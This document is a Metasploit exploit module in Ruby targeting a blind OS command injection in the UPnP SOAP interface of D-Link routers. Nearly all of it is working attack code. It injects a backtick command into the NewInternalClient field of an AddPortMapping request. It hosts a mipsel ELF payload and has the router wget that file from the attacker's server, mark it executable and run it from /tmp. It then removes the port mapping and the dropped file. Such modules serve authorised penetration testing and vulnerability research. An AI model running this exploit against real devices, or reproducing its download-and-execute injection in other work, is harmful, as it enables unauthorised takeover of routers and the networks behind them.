##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::CommandShell

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'D-Link Devices UPnP SOAP Command Execution',
      'Description' => %q{
        Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
        interface. Since it is a blind OS command injection vulnerability, there is no
        output for the executed command when using the CMD target. Additionally, a target
        to deploy a native mipsel payload, when wget is available on the target device, has
        been added. This module has been tested on DIR-865 and DIR-645 devices.
      },
      'Author'      =>
        [
          'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'OSVDB', '94924' ],
          [ 'BID', '61005' ],
          [ 'EDB', '26664' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
        ],
      'DisclosureDate' => 'Jul 05 2013',
      'Privileged'     => true,
      'Platform'       => ['linux','unix'],
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Targets'        =>
        [
          [ 'CMD',	#all devices
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
          [ 'Linux mipsel Payload',	#DIR-865, DIR-645 and others with wget installed
            {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget'  => 1
      ))

    register_options(
      [
        Opt::RPORT(49152),	#port of UPnP SOAP webinterface
        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
      ], self.class)
  end

  def exploit
    @new_portmapping_descr = rand_text_alpha(8)
    @new_external_port = rand(65535)
    @new_internal_port = rand(65535)

    if target.name =~ /CMD/
      exploit_cmd
    else
      exploit_mips
    end
  end

  def exploit_cmd
    if not (datastore['CMD'])
      fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
    end
    cmd = payload.encoded
    type = "add"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
    print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
    type = "delete"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
    return
  end

  def exploit_mips

    downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))

    #thx to Juan for his awesome work on the mipsel elf support
    @pl = generate_payload_exe
    @elf_sent = false

    #
    # start our server
    #
    resource_uri = '/' + downfile

    if (datastore['DOWNHOST'])
      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    else
      #do not use SSL
      if datastore['SSL']
        ssl_restore = true
        datastore['SSL'] = false
      end

      #we use SRVHOST as download IP for the coming wget command.
      #SRVHOST needs a real IP address of our download host
      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        srv_host = Rex::Socket.source_address(rhost)
      else
        srv_host = datastore['SRVHOST']
      end

      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri

      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
      start_service({'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
      }})

      datastore['SSL'] = true if ssl_restore
    end

    #
    # download payload
    #
    print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}")
    #this filename is used to store the payload on the device
    filename = rand_text_alpha_lower(8)

    cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
    type = "add"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

    # wait for payload download
    if (datastore['DOWNHOST'])
      print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
      select(nil, nil, nil, datastore['HTTP_DELAY'])
    else
      wait_linux_payload
    end

    register_file_for_cleanup("/tmp/#{filename}")

    type = "delete"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
  end

  def request(cmd, type)

    uri = '/soap.cgi'

    data_cmd = "<?xml version=\"1.0\"?>"
    data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
    data_cmd << "<SOAP-ENV:Body>"

    if type == "add"
      vprint_status("#{rhost}:#{rport} - adding portmapping")

      soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"

      data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
      data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
      data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
      data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
      data_cmd << "<NewEnabled>1</NewEnabled>"
      data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
      data_cmd << "<NewRemoteHost></NewRemoteHost>"
      data_cmd << "<NewProtocol>TCP</NewProtocol>"
      data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
      data_cmd << "</m:AddPortMapping>"
    else
      #we should clean it up ... otherwise we are not able to exploit it multiple times
      vprint_status("#{rhost}:#{rport} - deleting portmapping")
      soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"

      data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
      data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
      data_cmd << "</m:DeletePortMapping>"
    end

    data_cmd << "</SOAP-ENV:Body>"
    data_cmd << "</SOAP-ENV:Envelope>"

    begin
      res = send_request_cgi({
        'uri'    => uri,
        'vars_get' => {
          'service' => 'WANIPConn1'
        },
        'ctype' => "text/xml",
        'method' => 'POST',
        'headers' => {
          'SOAPAction' => soapaction,
          },
        'data' => data_cmd
      })
    return res
    rescue ::Rex::ConnectionError
      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
      return nil
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    #print_status("on_request_uri called: #{request.inspect}")
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  # wait for the data to be sent
  def wait_linux_payload
    print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")

    waited = 0
    while (not @elf_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
      end
    end
  end
end